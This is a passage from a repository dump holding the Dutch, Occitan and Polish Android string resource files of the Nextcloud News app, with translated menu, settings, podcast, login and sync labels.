<string name=\"dialog_podcast_remove_body\">Wil je de gedownloade media voor  %1$s verwijderen?</string>\n    <string name=\"dialog_podcast_status_failed\">Verwijderen media mislukt voor %1$s </string>\n    <string name=\"dialog_podcast_status_success\">Media voor %1$s verwijderd</string>\n    <string name=\"dialog_podcast_remove_confirm\">Verwijderen</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Over</string>\n    <string name=\"pref_license\">Licentie</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public Licence, versie 3</string>\n    <string name=\"pref_report_issue\">Meld een probleem</string>\n    <string name=\"pref_report_issue_summary\">Vereist een (gratis) GitHub account</string>\n    <string name=\"pref_contribute\">Bijdragen!</string>\n    <string name=\"pref_contribute_summary\">Download de broncode</string>\n    <string name=\"pref_privacy\">Privacy</string>\n    <string name=\"pref_privacy_summary\">Nextcloud News Android Privacy Policy</string>\n    <string name=\"pref_news_policy\">Neem contact op / Nieuws Voorwaarden</string>\n    <string name=\"pref_news_policy_summary\">Nextcloud Nieuws Android Nieuws Voorwaarden / Neem contact op</string>\n    <string name=\"pref_version\">Nextcloud Nieuws Android app</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Weergeven</string>\n    <string name=\"pref_title_app_theme\">Thema</string>\n    <string name=\"pref_title_feed_list_layout\">Feed lijst overzicht</string>\n    <string name=\"pref_title_font_size\">Fontgrootte</string>\n    <string name=\"pref_display_browser\">Browser</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Actiepictogrammen (Detailsweergave)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Systeemstandaard</string>\n    <string name=\"pref_display_apptheme_light\">Licht</string>\n    <string name=\"pref_display_apptheme_dark\">Donker</string>\n\n    <string name=\"pref_oled_mode\">Zwarte achtergrond</string>\n    <string name=\"pref_oled_mode_summary\">Voor donker thema op OLED schermen</string>\n\n    <string name=\"pref_detailed_view_zoom\">Gedetailleerde weergave zoom</string>\n    <string name=\"pref_detailed_view_zoom_summary\">Inschakelen inzoomen op inhoud bij gedetailleerde weergave</string>\n\n    <string name=\"pref_external_player\">Externe speler</string>\n    <string name=\"pref_external_player_summary\">Speel podcasts in je standaard media app</string>\n\n    <string name=\"pref_display_browser_cct\">Ingebouwde Chrome-maatwerk-tabs</string>\n    <string name=\"pref_display_browser_built_in\">Ingebouwde browser</string>\n    <string name=\"pref_display_browser_external\">Externe browser</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Miniaturen (alleen kopteksten)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Miniaturen</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Verkorte tekst</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Kopteksten</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Volledige tekst</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Weblayout</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Kaartweergave</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Klein</string>\n    <string name=\"pref_display_font_size_d\">Standaard</string>\n    <string name=\"pref_display_font_size_l\">Groot</string>\n    <string name=\"pref_display_font_size_xl\">Extra groot</string>\n\n    <string name=\"content_desc_play\">Spelen</string>\n    <string name=\"content_desc_pause\">Pauze</string>\n    <string name=\"content_desc_playback_speed\">Afspeelsnelheid</string>\n    <string name=\"content_desc_rewind\">Terugspoelen</string>\n    <string name=\"content_desc_forward\">Doorsturen</string>\n    <string name=\"content_desc_expand\">Uitbreiden</string>\n    <string name=\"content_desc_collapse\">Inklappen</string>\n    <string name=\"content_desc_mark_as_read\">Markeren als gelezen</string>\n    <string name=\"content_desc_mark_as_unread\">Markeren als ongelezen</string>\n    <string name=\"content_desc_tap_to_refresh\">Tik om te verversen</string>\n    <string name=\"content_desc_add_to_favorites\">Toevoegen aan favorieten</string>\n    <string name=\"content_desc_remove_from_favorites\">Verwijder uit favorieten</string>\n    <string name=\"content_desc_show_password\">Toon wachtwoord</string>\n    <string name=\"content_desc_delete\">Verwijder</string>\n    <string name=\"content_desc_download\">Download</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Fout</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Het lijkt erop dat je nieuwsapp niet is geïnstalleerd of geactiveerd op je server. Volg eerst de instructies hier om de nieuwsapp op je server te installeren: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Er ging iets verkeerd :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">De Web News App gaf Versie \\\"0\\\". Bekijk alsjeblieft het volgende bug report: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Deze app versie is niet compatibel met je Nextcloud Nieuws App. Werk de Nieuws App en het Appframework bij.</string>\n    <string name=\"login_dialog_title_security_warning\">Beveiligingswaarschuwing</string>\n    <string name=\"login_dialog_text_security_warning\">Je gebruikt geen HTTPS, wat wel sterk wordt aanbevolen. Een aanvaller zou het niet versleutelde verkeer kunnen onderscheppen en toegang krijgen tot gevoelige gegevens (bijv. je wachtwoord).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Er ging iets fout... probeer het opnieuw.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Data &amp; synch</string>\n    <string name=\"pref_title_clearCache\">Leegmaken cache</string>\n    <string name=\"pref_title_CacheImagesOffline\">Afbeeldingen offline cachen</string>\n    <string name=\"pref_title_Max_Cache_Size\">Max cache grootte</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nooit</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Alleen met WiFi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Met WiFi &amp; Mobiel</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Vraag indien niet verbonden met WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Nooit</string>\n    <string name=\"array_sync_interval_min_5\">5 minuten</string>\n    <string name=\"array_sync_interval_min_15\">15 minuten</string>\n    <string name=\"array_sync_interval_min_30\">30 minuten</string>\n    <string name=\"array_sync_interval_min_45\">45 minuten</string>\n    <string name=\"array_sync_interval_hour_1\">1 uur</string>\n    <string name=\"array_sync_interval_hour_2\">2 uur</string>\n    <string name=\"array_sync_interval_hour_3\">3 uur</string>\n    <string name=\"array_sync_interval_hour_6\">6 uur</string>\n    <string name=\"array_sync_interval_hour_12\">12 uur</string>\n    <string name=\"array_sync_interval_hour_24\">24 uur</string>\n    <string name=\"switch_account\">Account wisselen</string>\n    \n    <string name=\"successfully_exported\">Succesvol geëxporteerd naar:</string>\n    <string name=\"opml_export\">OPML Export</string>\n    <string name=\"parsing_opml\">Interpreteren OPML</string>\n    <string name=\"please_wait\">Even geduld ...</string>\n    <string name=\"interval_sync_title\">Interval Sync</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-oc/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sincronizacion auto.</string>\n    <string name=\"empty_view_content\">Pas cap d\\'article</string>\n    <string name=\"empty_view_content_action\">Pull down to refresh</string>\n    <string name=\"no_wifi_available\">Pas cap de connexion Wi-Fi</string>\n    <string name=\"current_version\">Utilizatz la Version %s</string>\n    <string name=\"widget_header\">Actualitats ownCloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d article novèl disponible</item>\n        <item quantity=\"other\">%d articles novèls disponibles</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Recargar</string>\n    <string name=\"allUnreadFeeds\">Totes los articles pas legits</string>\n    <string name=\"starredFeeds\">Articles favorits</string>\n    <string name=\"title_activity_new_feed\">Apondre un flux</string>\n\n    <string name=\"menu_update\">Refrescar</string>\n    <string name=\"menu_markAllAsRead\">Marcar totes coma legits</string>\n    <string name=\"menu_StartImageCaching\">Telecargar los imatges</string>\n    <string name=\"menu_downloadMoreItems\">+ d\\'articles</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Favorit</string>\n    <string name=\"action_read\">Legit</string>\n    <string name=\"action_playPodacst\">Legir lo Podcast</string>\n    <string name=\"action_Share\">Partejar</string>\n    <string name=\"action_login\">Paramètres del servidor</string>\n    <string name=\"action_save\">Salvar</string>\n    <string name=\"action_settings\">Paramètres</string>\n    <string name=\"action_sync_settings\">Paramètres de sincronizacion</string>\n    <string name=\"action_add_new_feed\">Apondre un flux novèl</string>\n    <string name=\"action_textToSpeech\">Legir a votz nauta</string>\n    <string name=\"action_search\">Recercar</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">I a %d novèl article pas legit</item>\n        <item quantity=\"other\">I a %d novèls articles pas legits</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d novèl article pas legit</item>\n        <item quantity=\"other\">%d novèls articles pas legits</item>\n    </plurals>\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Telecargar l\\'Imatge</string>\n    <string name=\"action_img_sharelink\">Partejar lo Ligam cap a l\\'Imatge</string>\n    <string name=\"action_img_open\">Dobrir l\\'Imatge dins lo Navigador</string>\n    <string name=\"action_img_copylink\">Copiar lo Ligam cap a l\\'Imatge</string>\n    <string name=\"action_link_share\">Partejar via ligam</string>\n    <string name=\"action_link_open\">Dobrir lo Ligam dins lo Navigador</string>\n    <string name=\"action_link_copy\">Copiar lo Ligam</string>\n    <string name=\"toast_img_notwriteable\">Error d\\'escritura de l\\'Imatge.</string>\n    <string name=\"toast_copied_to_clipboard\">Copiat dins lo quichapapièrs</string>\n    <string name=\"error_download_failed\">Lo telecargament a fracassat</string>\n    <string name=\"intent_title_share\">Partejar via</string>\n\n\n    <string name=\"action_feed_rename\">Renomenar lo flux</string>\n    <string name=\"action_feed_notification_settings\">Paramètres de notificacions</string>\n    <string name=\"feed_remove_button\">Suprimir</string>\n    <string name=\"feed_rename_button\">Renomenar</string>\n    <string name=\"action_folder_rename\">Renomenar lo repertòri</string>\n    <string name=\"folder_remove_button\">Suprimir</string>\n    <string name=\"folder_rename_button\">Renomenar</string>\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Apondre</string>\n    <string name=\"hint_folder_name\">Nom del dorsièr</string>\n    <string name=\"pref_title_username\">Nom d\\'utilizaire</string>\n    <string name=\"pref_title_password\">Senhal</string>\n    <string name=\"pref_title_owncloudRootPath\">adreça raiç d\\'ownCloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/owncloud</string>\n\n    <string name=\"action_sign_in_short\">S\\'identificar</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Aqueste camp es requesit</string>\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">%d ancian article telecargat</item>\n        <item quantity=\"other\">%d ancians articles telecargats</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Cap d\\'article suplementari pas disponible</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Paramètres</string>\n    <string name=\"cache_is_cleared\">Escondedor netejat !</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Generals</string>\n    <string name=\"pref_title_general_sort_order\">Òrdre de triada</string>\n\n    <string name=\"pref_general_search_in_title\">Títol</string>\n    <string name=\"pref_general_search_in_body\">Còs</string>\n    <string name=\"dialog_clearing_cache\">Voidar l\\'escondedor</string>\n    <string name=\"reset_cache_unsaved_changes\">Certanas modificacions son pas sincronizadas. Volètz reïnicializar l\\'escondedor malgrat tot ?</string>\n    <string name=\"warning\">Atencion</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincro. a l\\'aviada</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Amagar los articles legits</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Desactivar la verificacion del nom de maquina</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navigar amb los botons de volum</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marcar coma legit tot en defilant</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Acceptar los certificats pas segurs ?</string>\n    <string name=\"mtm_decision_always\">Totjorn</string>\n    <string name=\"mtm_decision_abort\">Anullar</string>\n    <string name=\"mtm_notification\">Verificacion del certificat</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Cap de podcast pas seleccionat</string>\n    <string name=\"dialog_podcast_remove_title\">Ne sètz segur ?</string>\n    <string name=\"dialog_podcast_remove_confirm\">Suprimir</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">A prepaus</string>\n    <string name=\"pref_license\">Licéncia</string>\n    <string name=\"pref_privacy\">Confidencialitat</string>\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Afichatge</string>\n    <string name=\"pref_title_app_theme\">Tèma</string>\n    <string name=\"pref_title_feed_list_layout\">Disposicion de la lista dels fluxes</string>\n    <string name=\"pref_title_font_size\">Talha poliça</string>\n    <string name=\"pref_display_apptheme_light\">Clar</string>\n    <string name=\"pref_display_apptheme_dark\">Escur</string>\n\n    <string name=\"pref_display_font_size_d\">Defaut</string>\n    <string name=\"content_desc_play\">Aviar</string>\n    <string name=\"content_desc_pause\">Pausa</string>\n    <string name=\"content_desc_playback_speed\">Velocitat de lectura</string>\n    <string name=\"content_desc_collapse\">Replegar</string>\n    <string name=\"content_desc_mark_as_read\">Marcar coma legit</string>\n    <string name=\"content_desc_mark_as_unread\">Marcar coma pas legit</string>\n    <string name=\"content_desc_add_to_favorites\">Apondre als favorits</string>\n    <string name=\"content_desc_remove_from_favorites\">Tirar dels favorits</string>\n    <string name=\"content_desc_show_password\">Mostrar lo senhal</string>\n    <string name=\"content_desc_delete\">Suprimir</string>\n    <string name=\"content_desc_download\">Telecargar</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Error</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Un problèma s\\'es produsit :-(</string>\n    <string name=\"login_dialog_title_security_warning\">Avertiment de seguretat</string>\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Donadas &amp; sincronizacion</string>\n    <string name=\"pref_title_clearCache\">Voidar l\\'escondedor</string>\n    <string name=\"pref_title_CacheImagesOffline\">Mesa en escondedor fòra linha dels imatges</string>\n    <string name=\"pref_title_Max_Cache_Size\">Talha maximala de l\\'escondedor</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Pas jamais</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">En WiFi solament</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">En WiFi &amp; Mobil</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Demandar quand pas connectat</string>\n\n    <string name=\"array_sync_interval_min_0\">Pas jamais</string>\n    <string name=\"array_sync_interval_min_5\">5 minutas</string>\n    <string name=\"array_sync_interval_min_15\">15 minutas</string>\n    <string name=\"array_sync_interval_min_30\">30  minutas</string>\n    <string name=\"array_sync_interval_min_45\">45 minutas</string>\n    <string name=\"array_sync_interval_hour_1\">1 ora</string>\n    <string name=\"array_sync_interval_hour_2\">2 oras</string>\n    <string name=\"array_sync_interval_hour_3\">3 oras</string>\n    <string name=\"array_sync_interval_hour_6\">6 oras</string>\n    <string name=\"array_sync_interval_hour_24\">24 oras</string>\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-pl/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Automatyczna synchronizacja</string>\n    <string name=\"title_activity_sync_interval_selector\">Interwał synchronizacji</string>\n    <string name=\"empty_view_content\">Brak pozycji</string>\n    <string name=\"empty_view_content_action\">Przeciągnij w dół, aby odświeżyć</string>\n    <string name=\"toast_GettingMoreItems\">Rozpoczęto pobieranie kolejnych pozycji. Proszę czekać…</string>\n    <string name=\"no_wifi_available\">Brak połączenia WIFI</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Czy chcesz pobrać obrazy bez połączenia Wi-Fi?</string>\n    <string name=\"current_version\">Używasz wersji %s</string>\n    <string name=\"widget_header\">Nextcloud News</string>\n    <string name=\"message_bar_scroll_top\">Odśwież i przewiń do góry</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d nowa dostępna pozycja</item>\n        <item quantity=\"few\">%d nowe dostępne pozycje</item>\n        <item quantity=\"many\">%d nowych dostępnych pozycji</item>\n        <item quantity=\"other\">%d nowe dostępne pozycje</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Przeładuj</string>\n    <string name=\"allUnreadFeeds\">Wszystkie nieprzeczytane pozycje</string>\n    <string name=\"starredFeeds\">Pozycje oznaczone gwiazdką</string>\n    <string name=\"downloadedPodcasts\">Pobrane podcasty</string>\n    <string name=\"title_activity_new_feed\">Dodaj nowy kanał</string>\n\n    <string name=\"menu_update\">Odśwież</string>\n    <string name=\"menu_markAllAsRead\">Oznacz wszystkie jako przeczytane</string>\n    <string name=\"menu_StartImageCaching\">Pobierz obrazki</string>\n    <string name=\"menu_downloadMoreItems\">Pobierz więcej pozycji</string>\n\n    <string name=\"tv_showing_cached_version\">Pokazuję wersję z pamięci cache</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Oznaczone</string>\n    <string name=\"action_read\">Przeczytane</string>\n    <string name=\"action_playPodacst\">Odtwórz Podcast</string>\n    <string name=\"action_removePodcast\">Usuń multimedia z podcastami</string>\n    <string name=\"action_openInBrowser\">Otwórz w przeglądarce </string>\n    <string name=\"action_Share\">Udostępnij</string>\n    <string name=\"action_login\">Ustawienia serwera</string>\n    <string name=\"action_save\">Zapisz</string>\n    <string name=\"action_settings\">Ustawienia</string>\n    <string name=\"action_sync_settings\">Ustawienia synchronizacji</string>\n    <string name=\"action_add_new_feed\">Dodaj nowy kanał</string>\n    <string name=\"action_add_new_folder\">Dodaj nowy katalog</string>\n    <string name=\"action_textToSpeech\">Przeczytane</string>\n    <string name=\"action_search\">Szukaj</string>\n    <string name=\"action_download_articles_offline\">Pobierz artykuły offline</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Pobieranie artykułów do użytku offline</string>\n    <string name=\"notification_download_images_offline\">Pobieranie obrazów do użytku offline</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Masz %d nową nieprzeczytaną pozycję</item>\n        <item quantity=\"few\">Masz %d nowe nieprzeczytane pozycje</item>\n        <item quantity=\"many\">Masz %d nowych nieprzeczytanych pozycji</item>\n        <item quantity=\"other\">Masz %d nowych nieprzeczytanych pozycji</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d nowa dostępna pozycja nieprzeczytana</item>\n        <item quantity=\"few\">%d nowe dostępne pozycje nieprzeczytane</item>\n        <item quantity=\"many\">%d nowych dostępnych pozycji nieprzeczytanych</item>\n        <item quantity=\"other\">%d nowe dostępne pozycje nieprzeczytane</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL kanału</string>\n    <string name=\"action_add_feed\">Dodaj kanał</string>\n    <string name=\"import_opml\">Importuj OPML</string>\n    <string name=\"export_opml\">Eksportuj OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Pobierz obraz</string>\n    <string name=\"action_img_sharelink\">Udostępnij link obrazu</string>\n    <string name=\"action_img_open\">Otwórz obraz w przeglądarce</string>\n    <string name=\"action_img_copylink\">Skopiuj link obrazu</string>\n    <string name=\"action_link_share\">Udostępnij link</string>\n    <string name=\"action_link_open\">Otwórz link w przeglądarce</string>\n    <string name=\"action_link_copy\">Kopiuj link</string>\n    <string name=\"toast_img_download_wait\">Pobieranie. Proszę czekać…</string>\n    <string name=\"toast_img_saved\">Zapisano obraz</string>\n    <string name=\"toast_img_notwriteable\">Błąd zapisu obrazu.</string>\n    <string name=\"toast_copied_to_clipboard\">Kopiuj do schowka</string>\n    <string name=\"error_download_failed\">Pobieranie nie powiodło się</string>\n    <string name=\"intent_title_share\">Udostępnij przez</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Usuń kanał</string>\n    <string name=\"action_feed_rename\">Zmień nazwę kanału</string>\n    <string name=\"action_feed_move\">Przenieś kanał</string>\n    <string name=\"action_feed_notification_settings\">Ustawienia powiadomień</string>\n    <string name=\"action_feed_open_in\">Otwórz w ustawieniach</string>\n    <string name=\"action_feed_open_in_general_setting\">Użyj ustawień ogólnych</string>\n    <string name=\"action_feed_open_in_detailed_view\">Widok szczegółów</string>\n    <string name=\"feed_remove_button\">Usuń</string>\n    <string name=\"feed_rename_button\">Zmień nazwę</string>\n    <string name=\"confirm_feed_remove\">Czy na pewno chcesz usunąć ten kanał? Operacja jest nieodwracalna!</string>\n    <string name=\"feed_move_list_description\">Wybierz katalog, aby przenieść dane</string>\n    <string name=\"move_feed_root_folder\">Katalog główny</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Usuń katalog</string>\n    <string name=\"action_folder_rename\">Zmień nazwę katalogu</string>\n    <string name=\"folder_remove_button\">Usuń</string>\n    <string name=\"folder_rename_button\">Zmień nazwę</string>\n    <string name=\"confirm_folder_remove\">Czy na pewno chcesz usunąć ten katalog? Tego nie można cofnąć!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Otrzymuj unikalne powiadomienia dla tego kanału</string>\n    <string name=\"notification_feed_default\">Wszystkie kanały z ustawieniami domyślnymi pojawią się w jednym powiadomieniu</string>\n    <string name=\"notification_feed_none\">Brak powiadomień</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Dodaj</string>\n    <string name=\"hint_folder_name\">Nazwa katalogu</string>\n    <string name=\"folder_already_exists\">Katalog już istnieje</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Ręczne logowanie</string>\n    <string name=\"login_sso\">Zaloguj się używając aplikacji Pliki Nextcloud</string>\n    <string name=\"pref_title_username\">Nazwa użytkownika</string>\n    <string name=\"pref_title_password\">Hasło</string>\n    <string name=\"pref_title_owncloudRootPath\">Adres główny Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/owncloud</string>\n\n    <string name=\"action_sign_in_short\">Zaloguj</string>\n    <string name=\"login_progress_signing_in\">Logowanie…</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Ten element jest wymagany</string>\n    <string name=\"error_invalid_url\">Nieprawidłowy adres URL</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"one\">Oznaczono %d rzecz jako przeczytaną</item>\n        <item quantity=\"few\">Oznaczono %d rzeczy jako przeczytane</item>\n        <item quantity=\"many\">Oznaczono %d rzeczy jako przeczytane</item>\n        <item quantity=\"other\">Oznaczono %d rzeczy jako przeczytane</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Pobrano %d starą pozycję</item>\n        <item quantity=\"few\">Pobrano %d stare pozycje</item>\n        <item quantity=\"many\">Pobrano %d starych pozycji</item>\n        <item quantity=\"other\">Pobrano %d starych pozycji</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Brak dostępnych dodatkowych pozycji</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Do tej pory pobrano %d pozycję…</item>\n        <item quantity=\"few\">Do tej pory pobrano %d pozycje…</item>\n        <item quantity=\"many\">Do tej pory pobrano %d pozycji…</item>\n        <item quantity=\"other\">Do tej pory pobrano %d pozycji…</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Ustawienia</string>\n    <string name=\"cache_is_cleared\">Cache jest wyczyszczone!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Ogólne</string>\n    <string name=\"pref_title_general_sort_order\">Sortuj w kolejności</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Nowe → Stare</string>\n    <string name=\"pref_general_sort_order_old_new\">Stare → Nowe</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Działanie po przesunięciu w prawo</string>\n    <string name=\"pref_rename_action_swipe_left\">Działanie po przesunięciu w lewo</string>\n\n    <string name=\"pref_title_general_search_in\">Wyszukaj w</string>\n\n    <string name=\"pref_general_search_in_title\">Tytuł</string>\n    <string name=\"pref_general_search_in_body\">Treść</string>\n    <string name=\"pref_general_search_in_both\">Obydwa</string>\n\n    <string name=\"dialog_clearing_cache\">Czyszczenie pamięci podręcznej</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Czyszczenie pamięci podręcznej. Proszę czekać…</string>\n    <string name=\"reset_cache_unsaved_changes\">Istnieją niezsynchronizowane zmiany. Czy mimo to chcesz zresetować pamięć podręczną?</string>\n    <string name=\"warning\">Ostrzeżenie</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Synchronizuj na starcie</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Pokaż tylko nieprzeczytane artykuły</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Wyłącz weryfikację nazwy hosta</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Nawiguj za pomocą przycisków głośności</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Oznacz jako przeczytane podczas przewijania</string>\n    <string name=\"pref_title_SyncWhenScrolledToBottom\">Synchronizuj po przewinięciu w dół</string>\n    <string name=\"pref_title_ShowFastActions\">Aktywuj funkcje szybkiego dostępu</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Pomiń widok szczegółów i otwórz artykuł w przeglądarce</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Przycisk wstecz otwiera szufladę</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Akceptować nieznane certyfikaty?</string>\n    <string name=\"mtm_decision_always\">Zawsze</string>\n    <string name=\"mtm_decision_abort\">Anuluj</string>\n    <string name=\"mtm_notification\">Certyfikat weryfikacji</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Brak wybranego podcastu</string>\n    <string name=\"no_chapters_available\">Brak dostępnych rozdziałów</string>\n    <string name=\"exit_playback\">Wyjdź z odtwarzacza</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Prędkość odtwarzania</string>\n    <string name=\"notification_downloading_podcast_title\">Pobieranie podcastu</string>\n    <string name=\"dialog_podcast_remove_title\">Jesteś pewny?</string>\n    <string name=\"dialog_podcast_remove_body\">Czy chcesz usunąć pobrane multimedia dla %1$s?</string>\n    <string name=\"dialog_podcast_status_failed\">Nie udało się usunąć multimediów dla %1$s</string>\n    <string name=\"dialog_podcast_status_success\">Multimedia dla %1$s zostały usunięte</string>\n    <string name=\"dialog_podcast_remove_confirm\">Usuń</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">O aplikacji</string>\n    <string name=\"pref_license\">Licencja</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public License (AGPL) version 3</string>\n    <string name=\"pref_report_issue\">Zgłoś problem</string>\n    <string name=\"pref_report_issue_summary\">Wymaga (bezpłatnego) konta GitHub</string>\n    <string name=\"pref_contribute\">Wsparcie</string>\n    <string name=\"pref_contribute_summary\">Pobierz kod źródłowy</string>\n    <string name=\"pref_privacy\">Prywatność</string>\n    <string name=\"pref_privacy_summary\">Polityka prywatności Nextcloud News na Androida</string>\n    <string name=\"pref_news_policy\">Skontaktuj się z nami / Polityka prywatności News</string>\n    <string name=\"pref_news_policy_summary\">Polityka prywatności Nextcloud News Android / Skontaktuj się z nami</string>\n    <string name=\"pref_version\">Aplikacja Nextcloud News Android</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Wygląd</string>\n    <string name=\"pref_title_app_theme\">Wybierz motyw</string>\n    <string name=\"pref_title_feed_list_layout\">Układ listy kanałów</string>\n    <string name=\"pref_title_font_size\">Rozmiar czcionki</string>\n    <string name=\"pref_display_browser\">Przeglądarka</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Ikony akcji (Widok szczegółowy)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Domyślne ustawienia systemu</string>\n    <string name=\"pref_display_apptheme_light\">Jasny</string>\n    <string name=\"pref_display_apptheme_dark\">Ciemny</string>\n\n    <string name=\"pref_oled_mode\">Czarne tło</string>\n    <string name=\"pref_oled_mode_summary\">Motyw ciemny dla ekranów OLED</string>\n\n    <string name=\"pref_detailed_view_zoom\">Szczegółowy widok powiększenia</string>\n    <string name=\"pref_detailed_view_zoom_summary\">Włącz powiększanie zawartości w widoku szczegółowym</string>\n\n    <string name=\"pref_external_player\">Odtwarzacz zewnętrzny</string>\n    <string name=\"pref_external_player_summary\">Odtwarzaj podcasty w domyślnej aplikacji multimedialnej</string>\n\n    <string name=\"pref_display_browser_cct\">Wbudowany Chrome-Custom-Tabs</string>\n    <string name=\"pref_display_browser_built_in\">Wbudowana przeglądarka</string>\n    <string name=\"pref_display_browser_external\">Zewnętrzna przeglądarka</string>\n\n    <string 